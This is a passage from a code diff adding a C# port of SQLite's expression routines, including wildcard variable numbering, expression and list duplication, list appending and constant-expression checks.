virtual machine. #N is the N-th register. + ** + ** This routine is called by the parser to deal with on of those terms. + ** It immediately generates code to store the value in a memory location. + ** The returns an expression that will code to extract the value from + ** that memory location as needed. + */ + static Expr sqlite3RegisterExpr( Parse pParse, Token pToken ) + { + Vdbe v = pParse.pVdbe; + Expr p; + if ( pParse.nested == 0 ) + { + sqlite3ErrorMsg( pParse, "near \"%T\": syntax error", pToken ); + return sqlite3PExpr( pParse, TK_NULL, null, null, null ); + } + if ( v == null ) return null; + p = sqlite3PExpr( pParse, TK_REGISTER, null, null, pToken ); + if ( p == null ) + { + return null; /* Malloc failed */ + } + p.u.iValue = atoi( pToken.z.Substring( 1 ) ); ;//atoi((char*)&pToken - z[1]); + return p; + } + + /* + ** Join two expressions using an AND operator. If either expression is + ** NULL, then just return the other expression. + */ + static Expr sqlite3ExprAnd( sqlite3 db, Expr pLeft, Expr pRight ) + { + if ( pLeft == null ) + { + return pRight; + } + else if ( pRight == null ) + { + return pLeft; + } + else + { + Expr pNew = sqlite3ExprAlloc( db, TK_AND, null, 0 ); + sqlite3ExprAttachSubtrees( db, pNew, pLeft, pRight ); + return pNew; + } + } + + /* + ** Construct a new expression node for a function with multiple + ** arguments. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Expr sqlite3ExprFunction( Parse pParse, int null_2, Token pToken ) + { + return sqlite3ExprFunction( pParse, null, pToken ); + } + static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, int null_3 ) + { + return sqlite3ExprFunction( pParse, pList, null ); + } + static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, Token pToken ) + { + Expr pNew; + sqlite3 db = pParse.db; + Debug.Assert( pToken != null ); + pNew = sqlite3ExprAlloc( db, TK_FUNCTION, pToken, 1 ); + if ( pNew == null ) + { + sqlite3ExprListDelete( db, ref pList ); /* Avoid memory leak when malloc fails */ + return null; + } + pNew.x.pList = pList; + Debug.Assert( !ExprHasProperty( pNew, EP_xIsSelect ) ); + + sqlite3ExprSetHeight( pParse, pNew ); + return pNew; + } + + /* + ** Assign a variable number to an expression that encodes a wildcard + ** in the original SQL statement. + ** + ** Wildcards consisting of a single "?" are assigned the next sequential + ** variable number. + ** + ** Wildcards of the form "?nnn" are assigned the number "nnn". We make + ** sure "nnn" is not too be to avoid a denial of service attack when + ** the SQL statement comes from an external source. + ** + ** Wildcards of the form ":aaa", "@aaa" or "$aaa" are assigned the same number + ** as the previous instance of the same wildcard. Or if this is the first + ** instance of the wildcard, the next sequenial variable number is + ** assigned. + */ + static void sqlite3ExprAssignVarNumber( Parse pParse, Expr pExpr ) + { + sqlite3 db = pParse.db; + string z; + + if ( pExpr == null ) return; + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_IntValue | EP_Reduced | EP_TokenOnly ) ); + z = pExpr.u.zToken; + Debug.Assert( z != null ); + Debug.Assert( z.Length != 0 ); + if ( z.Length == 1 ) + { + /* Wildcard of the form "?". Assign the next variable number */ + Debug.Assert( z[0] == '?' ); + pExpr.iTable = ++pParse.nVar; + } + else if ( z[0] == '?' ) + { + /* Wildcard of the form "?nnn". Convert "nnn" to an integer and + ** use it as the variable number */ + int i; + pExpr.iTable = i = atoi( z.Substring( 1 ) );//atoi((char*)&z[1]); + testcase( i == 0 ); + testcase( i == 1 ); + testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] - 1 ); + testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); + if ( i < 1 || i > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) + { + sqlite3ErrorMsg( pParse, "variable number must be between ?1 and ?%d", + db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); + } + if ( i > pParse.nVar ) + { + pParse.nVar = i; + } + } + else + { + /* Wildcards like ":aaa", "$aaa" or "@aaa". Reuse the same variable + ** number as the prior appearance of the same name, or if the name + ** has never appeared before, reuse the same variable number + */ + int i; + int n; + n = sqlite3Strlen30( z ); + for ( i = 0 ; i < pParse.nVarExpr ; i++ ) + { + Expr pE = pParse.apVarExpr[i]; + Debug.Assert( pE != null ); + if ( memcmp( pE.u.zToken, z, n ) == 0 && pE.u.zToken.Length == n ) + { + pExpr.iTable = pE.iTable; + break; + } + } + if ( i >= pParse.nVarExpr ) + { + pExpr.iTable = ++pParse.nVar; + if ( pParse.nVarExpr >= pParse.nVarExprAlloc - 1 ) + { + pParse.nVarExprAlloc += pParse.nVarExprAlloc + 10; + pParse.apVarExpr = new Expr[pParse.nVarExprAlloc]; + //sqlite3DbReallocOrFree( + // db, + // pParse.apVarExpr, + // pParse.nVarExprAlloc*sizeof(pParse.apVarExpr[0]) + //); + } + //if ( 0 == db.mallocFailed ) + { + Debug.Assert( pParse.apVarExpr != null ); + pParse.apVarExpr[pParse.nVarExpr++] = pExpr; + } + } + } + if ( pParse.nErr == 0 && pParse.nVar > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) + { + sqlite3ErrorMsg( pParse, "too many SQL variables" ); + } + } + + /* + ** Clear an expression structure without deleting the structure itself. + ** Substructure is deleted. + */ + static void sqlite3ExprClear( sqlite3 db, Expr p ) + { + Debug.Assert( p != null ); + if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) + { + sqlite3ExprDelete( db, ref p.pLeft ); + sqlite3ExprDelete( db, ref p.pRight ); + if ( !ExprHasProperty( p, EP_Reduced ) && ( p.flags2 & EP2_MallocedToken ) != 0 ) + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +//sqlite3DbFree( db, ref p.u._zToken ); +#else + //sqlite3DbFree( db, ref p.u.zToken ); +#endif + } + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + sqlite3SelectDelete( db, ref p.x.pSelect ); + } + else + { + sqlite3ExprListDelete( db, ref p.x.pList ); + } + } + } + + /* + ** Recursively delete an expression tree. + */ + static void sqlite3ExprDelete( sqlite3 db, ref Expr p ) + { + if ( p == null ) return; + sqlite3ExprClear( db, p ); + if ( !ExprHasProperty( p, EP_Static ) ) + { + //sqlite3DbFree( db, ref p ); + } + } + + /* + ** Return the number of bytes allocated for the expression structure + ** passed as the first argument. This is always one of EXPR_FULLSIZE, + ** EXPR_REDUCEDSIZE or EXPR_TOKENONLYSIZE. + */ + static int exprStructSize( Expr p ) + { + if ( ExprHasProperty( p, EP_TokenOnly ) ) return EXPR_TOKENONLYSIZE; + if ( ExprHasProperty( p, EP_Reduced ) ) return EXPR_REDUCEDSIZE; + return EXPR_FULLSIZE; + } + + /* + ** The dupedExpr*Size() routines each return the number of bytes required + ** to store a copy of an expression or expression tree. They differ in + ** how much of the tree is measured. + ** + ** dupedExprStructSize() Size of only the Expr structure + ** dupedExprNodeSize() Size of Expr + space for token + ** dupedExprSize() Expr + token + subtree components + ** + *************************************************************************** + ** + ** The dupedExprStructSize() function returns two values OR-ed together: + ** (1) the space required for a copy of the Expr structure only and + ** (2) the EP_xxx flags that indicate what the structure size should be. + ** The return values is always one of: + ** + ** EXPR_FULLSIZE + ** EXPR_REDUCEDSIZE | EP_Reduced + ** EXPR_TOKENONLYSIZE | EP_TokenOnly + ** + ** The size of the structure can be found by masking the return value + ** of this routine with 0xfff. The flags can be found by masking the + ** return value with EP_Reduced|EP_TokenOnly. + ** + ** Note that with flags==EXPRDUP_REDUCE, this routines works on full-size + ** (unreduced) Expr objects as they or originally constructed by the parser. + ** During expression analysis, extra information is computed and moved into + ** later parts of teh Expr object and that extra information might get chopped + ** off if the expression is reduced. Note also that it does not work to + ** make a EXPRDUP_REDUCE copy of a reduced expression. It is only legal + ** to reduce a pristine expression tree from the parser. The implementation + ** of dupedExprStructSize() contain multiple assert() statements that attempt + ** to enforce this constraint. + */ + static int dupedExprStructSize( Expr p, int flags ) + { + int nSize; + Debug.Assert( flags == EXPRDUP_REDUCE || flags == 0 ); /* Only one flag value allowed */ + if ( 0 == ( flags & EXPRDUP_REDUCE ) ) + { + nSize = EXPR_FULLSIZE; + } + else + { + Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); + Debug.Assert( !ExprHasProperty( p, EP_FromJoin ) ); + Debug.Assert( ( p.flags2 & EP2_MallocedToken ) == 0 ); + Debug.Assert( ( p.flags2 & EP2_Irreducible ) == 0 ); + if ( p.pLeft != null || p.pRight != null || p.pColl != null || p.x.pList != null || p.x.pSelect != null ) + { + nSize = EXPR_REDUCEDSIZE | EP_Reduced; + } + else + { + nSize = EXPR_TOKENONLYSIZE | EP_TokenOnly; + } + } + return nSize; + } + + /* + ** This function returns the space in bytes required to store the copy + ** of the Expr structure and a copy of the Expr.u.zToken string (if that + ** string is defined.) + */ + static int dupedExprNodeSize( Expr p, int flags ) + { + int nByte = dupedExprStructSize( p, flags ) & 0xfff; + if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) + { + nByte += sqlite3Strlen30( p.u.zToken ) + 1; + } + return ROUND8( nByte ); + } + + /* + ** Return the number of bytes required to create a duplicate of the + ** expression passed as the first argument. The second argument is a + ** mask containing EXPRDUP_XXX flags. + ** + ** The value returned includes space to create a copy of the Expr struct + ** itself and the buffer referred to by Expr.u.zToken, if any. + ** + ** If the EXPRDUP_REDUCE flag is set, then the return value includes + ** space to duplicate all Expr nodes in the tree formed by Expr.pLeft + ** and Expr.pRight variables (but not for any structures pointed to or + ** descended from the Expr.x.pList or Expr.x.pSelect variables). + */ + static int dupedExprSize( Expr p, int flags ) + { + int nByte = 0; + if ( p != null ) + { + nByte = dupedExprNodeSize( p, flags ); + if ( ( flags & EXPRDUP_REDUCE ) != 0 ) + { + nByte += dupedExprSize( p.pLeft, flags ) + dupedExprSize( p.pRight, flags ); + } + } + return nByte; + } + + /* + ** This function is similar to sqlite3ExprDup(), except that if pzBuffer + ** is not NULL then *pzBuffer is assumed to point to a buffer large enough + ** to store the copy of expression p, the copies of p->u.zToken + ** (if applicable), and the copies of the p->pLeft and p->pRight expressions, + ** if any. Before returning, *pzBuffer is set to the first byte passed the + ** portion of the buffer copied into by this function. + */ + static Expr exprDup( sqlite3 db, Expr p, int flags, ref Expr pzBuffer ) + { + Expr pNew = null; /* Value to return */ + if ( p != null ) + { + bool isReduced = ( flags & EXPRDUP_REDUCE ) != 0; + Expr zAlloc = new Expr(); + u32 staticFlag = 0; + + Debug.Assert( pzBuffer == null || isReduced ); + + /* Figure out where to write the new Expr structure. */ + //if ( pzBuffer !=null) + //{ + // zAlloc = pzBuffer; + // staticFlag = EP_Static; + //} + //else + //{ + // zAlloc = new Expr();//sqlite3DbMallocRaw( db, dupedExprSize( p, flags ) ); + //} + pNew = p.Copy_Minimal();// (Expr*)zAlloc; + + if ( pNew != null ) + { + /* Set nNewSize to the size allocated for the structure pointed to + ** by pNew. This is either EXPR_FULLSIZE, EXPR_REDUCEDSIZE or + ** EXPR_TOKENONLYSIZE. nToken is set to the number of bytes consumed + ** by the copy of the p->u.zToken string (if any). + */ + int nStructSize = dupedExprStructSize( p, flags ); + int nNewSize = nStructSize & 0xfff; + int nToken; + if ( !ExprHasProperty( p, EP_IntValue ) && !String.IsNullOrEmpty( p.u.zToken ) ) + { + nToken = sqlite3Strlen30( p.u.zToken ); + } + else + { + nToken = 0; + } + if ( isReduced ) + { + Debug.Assert( !ExprHasProperty( p, EP_Reduced ) ); + //memcpy( zAlloc, p, nNewSize ); + } + else + { + int nSize = exprStructSize( p ); + //memcpy( zAlloc, p, nSize ); + //memset( &zAlloc[nSize], 0, EXPR_FULLSIZE - nSize ); + } + + /* Set the EP_Reduced, EP_TokenOnly, and EP_Static flags appropriately. */ + unchecked { pNew.flags &= (ushort)( ~( EP_Reduced | EP_TokenOnly | EP_Static ) ); } + pNew.flags |= (ushort)( nStructSize & ( EP_Reduced | EP_TokenOnly ) ); + pNew.flags |= (ushort)staticFlag; + + /* Copy the p->u.zToken string, if any. */ + if ( nToken != 0 ) + { + string zToken;// = pNew.u.zToken = (char*)&zAlloc[nNewSize]; + zToken = p.u.zToken.Substring( 0, nToken );// memcpy( zToken, p.u.zToken, nToken ); + } + + if ( 0 == ( ( p.flags | pNew.flags ) & EP_TokenOnly ) ) + { + /* Fill in the pNew.x.pSelect or pNew.x.pList member. */ + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + pNew.x.pSelect = sqlite3SelectDup( db, p.x.pSelect, isReduced ? 1 : 0 ); + } + else + { + pNew.x.pList = sqlite3ExprListDup( db, p.x.pList, isReduced ? 1 : 0 ); + } + } + + /* Fill in pNew.pLeft and pNew.pRight. */ + if ( ExprHasAnyProperty( pNew, EP_Reduced | EP_TokenOnly ) ) + { + //zAlloc += dupedExprNodeSize( p, flags ); + if ( ExprHasProperty( pNew, EP_Reduced ) ) + { + pNew.pLeft = exprDup( db, p.pLeft, EXPRDUP_REDUCE, ref zAlloc ); + pNew.pRight = exprDup( db, p.pRight, EXPRDUP_REDUCE, ref zAlloc ); + } + if ( pzBuffer != null ) + { + pzBuffer = zAlloc; + } + } + else + { + pNew.flags2 = 0; + if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) + { + pNew.pLeft = sqlite3ExprDup( db, p.pLeft, 0 ); + pNew.pRight = sqlite3ExprDup( db, p.pRight, 0 ); + } + } + } + } + return pNew; + } + + /* + ** The following group of routines make deep copies of expressions, + ** expression lists, ID lists, and select statements. The copies can + ** be deleted (by being passed to their respective ...Delete() routines) + ** without effecting the originals. + ** + ** The expression list, ID, and source lists return by sqlite3ExprListDup(), + ** sqlite3IdListDup(), and sqlite3SrcListDup() can not be further expanded + ** by subsequent calls to sqlite*ListAppend() routines. + ** + ** Any tables that the SrcList might point to are not duplicated. + ** + ** The flags parameter contains a combination of the EXPRDUP_XXX flags. + ** If the EXPRDUP_REDUCE flag is set, then the structure returned is a + ** truncated version of the usual Expr structure that will be stored as + ** part of the in-memory representation of the database schema. + */ + static Expr sqlite3ExprDup( sqlite3 db, Expr p, int flags ) + { + Expr ExprDummy = null; + return exprDup( db, p, flags, ref ExprDummy ); + } + + static ExprList sqlite3ExprListDup( sqlite3 db, ExprList p, int flags ) + { + ExprList pNew; + ExprList_item pItem; + ExprList_item pOldItem; + int i; + if ( p == null ) return null; + pNew = new ExprList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); + if ( pNew == null ) return null; + pNew.iECursor = 0; + pNew.nExpr = pNew.nAlloc = p.nExpr; + pNew.a = new ExprList_item[p.nExpr];//sqlite3DbMallocRaw(db, p.nExpr*sizeof(p.a[0]) ); + //if( pItem==null ){ + // //sqlite3DbFree(db,ref pNew); + // return null; + //} + //pOldItem = p.a; + for ( i = 0 ; i < p.nExpr ; i++ ) + {//pItem++, pOldItem++){ + pItem = pNew.a[i] = new ExprList_item(); + pOldItem = p.a[i]; + Expr pOldExpr = pOldItem.pExpr; + pItem.pExpr = sqlite3ExprDup( db, pOldExpr, flags ); + pItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pItem.zSpan = pOldItem.zSpan;// sqlite3DbStrDup( db, pOldItem.zSpan ); + pItem.sortOrder = pOldItem.sortOrder; + pItem.done = 0; + pItem.iCol = pOldItem.iCol; + pItem.iAlias = pOldItem.iAlias; + } + return pNew; + } + + /* + ** If cursors, triggers, views and subqueries are all omitted from + ** the build, then none of the following routines, except for + ** sqlite3SelectDup(), can be called. sqlite3SelectDup() is sometimes + ** called with a NULL argument. + */ +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER || !SQLITE_OMIT_SUBQUERY + static SrcList sqlite3SrcListDup( sqlite3 db, SrcList p, int flags ) + { + SrcList pNew; + int i; + int nByte; + if ( p == null ) return null; + //nByte = sizeof(*p) + (p.nSrc>0 ? sizeof(p.a[0]) * (p.nSrc-1) : 0); + pNew = new SrcList();//sqlite3DbMallocRaw(db, nByte ); + if ( p.nSrc > 0 ) pNew.a = new SrcList_item[p.nSrc]; + if ( pNew == null ) return null; + pNew.nSrc = pNew.nAlloc = p.nSrc; + for ( i = 0 ; i < p.nSrc ; i++ ) + { + pNew.a[i] = new SrcList_item(); + SrcList_item pNewItem = pNew.a[i]; + SrcList_item pOldItem = p.a[i]; + Table pTab; + pNewItem.zDatabase = pOldItem.zDatabase;// sqlite3DbStrDup(db, pOldItem.zDatabase); + pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pNewItem.zAlias = pOldItem.zAlias;// sqlite3DbStrDup(db, pOldItem.zAlias); + pNewItem.jointype = pOldItem.jointype; + pNewItem.iCursor = pOldItem.iCursor; + pNewItem.isPopulated = pOldItem.isPopulated; + pNewItem.zIndex = pOldItem.zIndex;// sqlite3DbStrDup( db, pOldItem.zIndex ); + pNewItem.notIndexed = pOldItem.notIndexed; + pNewItem.pIndex = pOldItem.pIndex; + pTab = pNewItem.pTab = pOldItem.pTab; + if ( pTab != null ) + { + pTab.nRef++; + } + pNewItem.pSelect = sqlite3SelectDup( db, pOldItem.pSelect, flags ); + pNewItem.pOn = sqlite3ExprDup( db, pOldItem.pOn, flags ); + pNewItem.pUsing = sqlite3IdListDup( db, pOldItem.pUsing ); + pNewItem.colUsed = pOldItem.colUsed; + } + return pNew; + } + + static IdList sqlite3IdListDup( sqlite3 db, IdList p ) + { + IdList pNew; + int i; + if ( p == null ) return null; + pNew = new IdList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); + if ( pNew == null ) return null; + pNew.nId = pNew.nAlloc = p.nId; + pNew.a = new IdList_item[p.nId];//sqlite3DbMallocRaw(db, p.nId*sizeof(p.a[0]) ); + if ( pNew.a == null ) + { + //sqlite3DbFree( db, ref pNew ); + return null; + } + for ( i = 0 ; i < p.nId ; i++ ) + { + pNew.a[i] = new IdList_item(); + IdList_item pNewItem = pNew.a[i]; + IdList_item pOldItem = p.a[i]; + pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pNewItem.idx = pOldItem.idx; + } + return pNew; + } + + static Select sqlite3SelectDup( sqlite3 db, Select p, int flags ) + { + Select pNew; + if ( p == null ) return null; + pNew = new Select();//sqlite3DbMallocRaw(db, sizeof(*p) ); + if ( pNew == null ) return null; + pNew.pEList = sqlite3ExprListDup( db, p.pEList, flags ); + pNew.pSrc = sqlite3SrcListDup( db, p.pSrc, flags ); + pNew.pWhere = sqlite3ExprDup( db, p.pWhere, flags ); + pNew.pGroupBy = sqlite3ExprListDup( db, p.pGroupBy, flags ); + pNew.pHaving = sqlite3ExprDup( db, p.pHaving, flags ); + pNew.pOrderBy = sqlite3ExprListDup( db, p.pOrderBy, flags ); + pNew.op = p.op; + pNew.pPrior = sqlite3SelectDup( db, p.pPrior, flags ); + pNew.pLimit = sqlite3ExprDup( db, p.pLimit, flags ); + pNew.pOffset = sqlite3ExprDup( db, p.pOffset, flags ); + pNew.iLimit = 0; + pNew.iOffset = 0; + pNew.selFlags = (u16)( p.selFlags & ~SF_UsesEphemeral ); + pNew.pRightmost = null; + pNew.addrOpenEphm[0] = -1; + pNew.addrOpenEphm[1] = -1; + pNew.addrOpenEphm[2] = -1; + return pNew; + } +#else +Select sqlite3SelectDup(sqlite3 db, Select p, int flags){ +Debug.Assert( p==null ); +return null; +} +#endif + + + /* +** Add a new element to the end of an expression list. If pList is +** initially NULL, then create a new expression list. +** +** If a memory allocation error occurs, the entire list is freed and +** NULL is returned. If non-NULL is returned, then it is guaranteed +** that the new entry was successfully appended. +*/ + // OVERLOADS, so I don't need to rewrite parse.c + static ExprList sqlite3ExprListAppend( Parse pParse, int null_2, Expr pExpr ) + { + return sqlite3ExprListAppend( pParse, null, pExpr ); + } + static ExprList sqlite3ExprListAppend( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to append. Might be NULL */ + Expr pExpr /* Expression to be appended. Might be NULL */ + ) + { + sqlite3 db = pParse.db; + if ( pList == null ) + { + pList = new ExprList(); //sqlite3DbMallocZero(db, ExprList).Length; + if ( pList == null ) + { + goto no_mem; + } + Debug.Assert( pList.nAlloc == 0 ); + } + if ( pList.nAlloc <= pList.nExpr ) + { + ExprList_item a; + int n = pList.nAlloc * 2 + 4; + //a = sqlite3DbRealloc(db, pList.a, n*sizeof(pList.a[0])); + //if( a==0 ){ + // goto no_mem; + //} + Array.Resize( ref pList.a, n );// = a; + pList.nAlloc = pList.a.Length;// sqlite3DbMallocSize(db, a)/sizeof(a[0]); + } + Debug.Assert( pList.a != null ); + if ( true ) + { + pList.a[pList.nExpr] = new ExprList_item(); ; + ExprList_item pItem = pList.a[pList.nExpr++]; + //pItem = new ExprList_item();//memset(pItem, 0, sizeof(*pItem)); + pItem.pExpr = pExpr; + } + return pList; + +no_mem: + /* Avoid leaking memory if malloc has failed. */ + sqlite3ExprDelete( db, ref pExpr ); + sqlite3ExprListDelete( db, ref pList ); + return null; + } + + /* + ** Set the ExprList.a[].zName element of the most recently added item + ** on the expression list. + ** + ** pList might be NULL following an OOM error. But pName should never be + ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag + ** is set. + */ + static void sqlite3ExprListSetName( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to add the span. */ + Token pName, /* Name to be added */ + int dequote /* True to cause the name to be dequoted */ + ) + { + Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); + if ( pList != null ) + { + ExprList_item pItem; + Debug.Assert( pList.nExpr > 0 ); + pItem = pList.a[pList.nExpr - 1]; + Debug.Assert( pItem.zName == null ); + pItem.zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(pParse.db, pName.z, pName.n); + if ( dequote != 0 && !String.IsNullOrEmpty( pItem.zName ) ) sqlite3Dequote( ref pItem.zName ); + } + } + + /* + ** Set the ExprList.a[].zSpan element of the most recently added item + ** on the expression list. + ** + ** pList might be NULL following an OOM error. But pSpan should never be + ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag + ** is set. + */ + static void sqlite3ExprListSetSpan( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to add the span. */ + ExprSpan pSpan /* The span to be added */ + ) + { + sqlite3 db = pParse.db; + Debug.Assert( pList != null /*|| db.mallocFailed != 0 */ ); + if ( pList != null ) + { + ExprList_item pItem = pList.a[pList.nExpr - 1]; + Debug.Assert( pList.nExpr > 0 ); + Debug.Assert( /* db.mallocFailed != 0 || */ pItem.pExpr == pSpan.pExpr ); + //sqlite3DbFree( db, pItem.zSpan ); + pItem.zSpan = pSpan.zStart.Substring( 0, pSpan.zStart.Length <= pSpan.zEnd.Length ? pSpan.zStart.Length : pSpan.zStart.Length - pSpan.zEnd.Length );// sqlite3DbStrNDup( db, pSpan.zStart, + //(int)( pSpan.zEnd- pSpan.zStart) ); + } + } + + /* + ** If the expression list pEList contains more than iLimit elements, + ** leave an error message in pParse. + */ + static void sqlite3ExprListCheckLength( + Parse pParse, + ExprList pEList, + string zObject + ) + { + int mx = pParse.db.aLimit[SQLITE_LIMIT_COLUMN]; + testcase( pEList != null && pEList.nExpr == mx ); + testcase( pEList != null && pEList.nExpr == mx + 1 ); + if ( pEList != null && pEList.nExpr > mx ) + { + sqlite3ErrorMsg( pParse, "too many columns in %s", zObject ); + } + } + + + /* + ** Delete an entire expression list. + */ + static void sqlite3ExprListDelete( sqlite3 db, ref ExprList pList ) + { + int i; + ExprList_item pItem; + if ( pList == null ) return; + Debug.Assert( pList.a != null || ( pList.nExpr == 0 && pList.nAlloc == 0 ) ); + Debug.Assert( pList.nExpr <= pList.nAlloc ); + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + if ( ( pItem = pList.a[i] ) != null ) + { + sqlite3ExprDelete( db, ref pItem.pExpr ); + //sqlite3DbFree( db, ref pItem.zName ); + //sqlite3DbFree( db, ref pItem.zSpan ); + } + } + //sqlite3DbFree( db, ref pList.a ); + //sqlite3DbFree( db, ref pList ); + } + + /* + ** These routines are Walker callbacks. Walker.u.pi is a pointer + ** to an integer. These routines are checking an expression to see + ** if it is a constant. Set *Walker.u.pi to 0 if the expression is + ** not constant. + ** + ** These callback routines are used to implement the following: + ** + ** sqlite3ExprIsConstant() + ** sqlite3ExprIsConstantNotJoin() + ** sqlite3ExprIsConstantOrFunction() + ** + */ + static int exprNodeIsConstant( Walker pWalker, ref Expr pExpr ) + { + /* If pWalker.u.i is 3 then any term of the expression that comes from + ** the ON or USING clauses of a join disqualifies the expression + ** from being considered constant. */ + if ( pWalker.u.i == 3 && ExprHasAnyProperty( pExpr, EP_FromJoin ) ) + { + pWalker.u.i = 0; + return WRC_Abort; + } + + switch ( pExpr.op ) + { + /* Consider functions to be constant if all their arguments are constant + ** and pWalker.u.i==2 */ + case TK_FUNCTION: + if ( ( pWalker.u.i ) == 2 ) return 0; + goto case TK_ID; + /* Fall through */ + case TK_ID: + case TK_COLUMN: + case TK_AGG_FUNCTION: + case TK_AGG_COLUMN: + testcase( pExpr.op == TK_ID ); + testcase( pExpr.op == TK_COLUMN ); + testcase( pExpr.op == TK_AGG_FUNCTION ); + testcase( pExpr.op == TK_AGG_COLUMN ); + pWalker.u.i = 0; + return WRC_Abort; + default: + testcase( pExpr.op == TK_SELECT ); /* selectNodeIsConstant will disallow */ + testcase( pExpr.op == TK_EXISTS ); /* selectNodeIsConstant will disallow */ + return WRC_Continue; + } + } + + static int selectNodeIsConstant( Walker pWalker, Select NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + pWalker.u.i = 0; + return WRC_Abort; + } + static int exprIsConst( Expr p, int initFlag ) + { + Walker w = new Walker(); + w.u.i = initFlag; + w.xExprCallback = exprNodeIsConstant; + w.xSelectCallback = selectNodeIsConstant; + sqlite3WalkExpr( w, ref p ); + return w.u.i; + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** and 0 if it involves variables or function calls. + ** + ** For the purposes of this function, a double-quoted string (ex: "abc") + ** is considered a variable but a single-quoted string (ex: 'abc') is + ** a constant. + */ + static int sqlite3ExprIsConstant( Expr p ) + { + return exprIsConst( p, 1 ); + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** that does no originate from the ON or USING clauses of a join. + ** Return 0 if it involves variables or function calls or terms from + ** an ON or USING clause. + */ + static int sqlite3ExprIsConstantNotJoin( Expr p ) + { + return exprIsConst( p, 3 ); + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** or a function call with constant arguments. Return and 0 if there + ** are any variables. + ** + ** For the purposes of this function, a double-quoted string (ex: "abc") + ** is considered a variable but a single-quoted string (ex: 'abc') is + ** a constant. + */ + static int sqlite3ExprIsConstantOrFunction( Expr p ) + { + return exprIsConst( p, 2 ); + } + + /* + ** If the expression p codes a constant integer that is small enough + ** to fit in a 32-bit integer, return 1 and put the value of the integer + ** in pValue. If the expression is not an integer or if it is too big + ** to fit in a signed 32-bit integer, return 0 and leave pValue unchanged. + */ + static int sqlite3ExprIsInteger( Expr p, ref int pValue ) + { + int rc = 0; + if ( ( p.flags & EP_IntValue ) != 0 ) + { + pValue = (int)p.u.iValue; + return 1; + } + switch ( p.op ) + { + case TK_INTEGER: + { + rc = sqlite3GetInt32( p.u.zToken, ref pValue ) ? 1 : 0; + Debug.Assert( rc == 0 ); + break; + } + case TK_UPLUS: + { + rc = sqlite3ExprIsInteger( p.pLeft, ref pValue ); + break; + } + case TK_UMINUS: + { + int v = 0; + if ( sqlite3ExprIsInteger( p.pLeft, ref v ) != 0 ) + { + pValue = -v; + rc = 1; + } + break; + } + default: break; + } + if ( rc != 0 ) + { + Debug.Assert( ExprHasAnyProperty( p, EP_Reduced | EP_TokenOnly ) + || ( p.flags2 & EP2_MallocedToken ) == 0 ); + p.op = TK_INTEGER; + p.flags |= EP_IntValue; + p.u.iValue = pValue; + } + return rc; + } + + /* + ** Return TRUE if the given string is a row-id column name. + */ + static bool sqlite3IsRowid( string z ) + { + if ( sqlite3StrICmp( z, "_ROWID_" ) == 0 ) return true; + if ( sqlite3StrICmp( z, "ROWID" ) == 0 ) return true; + if ( sqlite3StrICmp( z, "OID" ) == 0 ) return true; + return false; + } + + + /* + ** Return true if we are able to the IN operator optimization on a + ** query of the form + ** + ** x IN (SELECT ...) + ** + ** Where the SELECT... clause is as specified by the parameter to this + ** routine. + ** + ** The Select object passed in has already been preprocessed and no + ** errors have been found. + */ +#if !SQLITE_OMIT_SUBQUERY + static int isCandidateForInOpt( Select p ) + { + SrcList pSrc; + ExprList pEList; + Table pTab; + if ( p == null ) return 0; /* right-hand side of IN is SELECT */ + if ( p.pPrior != null ) return 0; /* Not a compound SELECT */ + if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 ) + { + testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); + testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); + return 0; /* No DISTINCT keyword and no aggregate functions */ + } + Debug.Assert( p.pGroupBy == null ); /* Has no GROUP BY clause */ + if ( p.pLimit != null ) return 0; /* Has no LIMIT clause */ + Debug.Assert( p.pOffset == null ); /* No LIMIT means no OFFSET */ + + if ( p.pWhere != null ) return 0; /* Has no WHERE clause */ + pSrc = p.pSrc; + Debug.Assert( pSrc != null ); + if ( pSrc.nSrc != 1 ) return 0; /* Single term in FROM clause */ + if ( pSrc.a[0].pSelect != null ) return 0; /* FROM is not a subquery or view */ + pTab = pSrc.a[0].pTab; + if ( NEVER( pTab == null ) ) return 0; + Debug.Assert( pTab.pSelect == null ); /* FROM clause is not a view */ + if ( IsVirtual( pTab ) ) return 0; /* FROM clause not a virtual table */ + pEList = p.pEList; + if ( pEList.nExpr != 1 ) return 0; /* One column in the result set */ + if ( pEList.a[0].pExpr.op != TK_COLUMN ) return 0; /* Result is a column */ + return 1; + } +#endif //* SQLITE_OMIT_SUBQUERY */ + + /* +** This 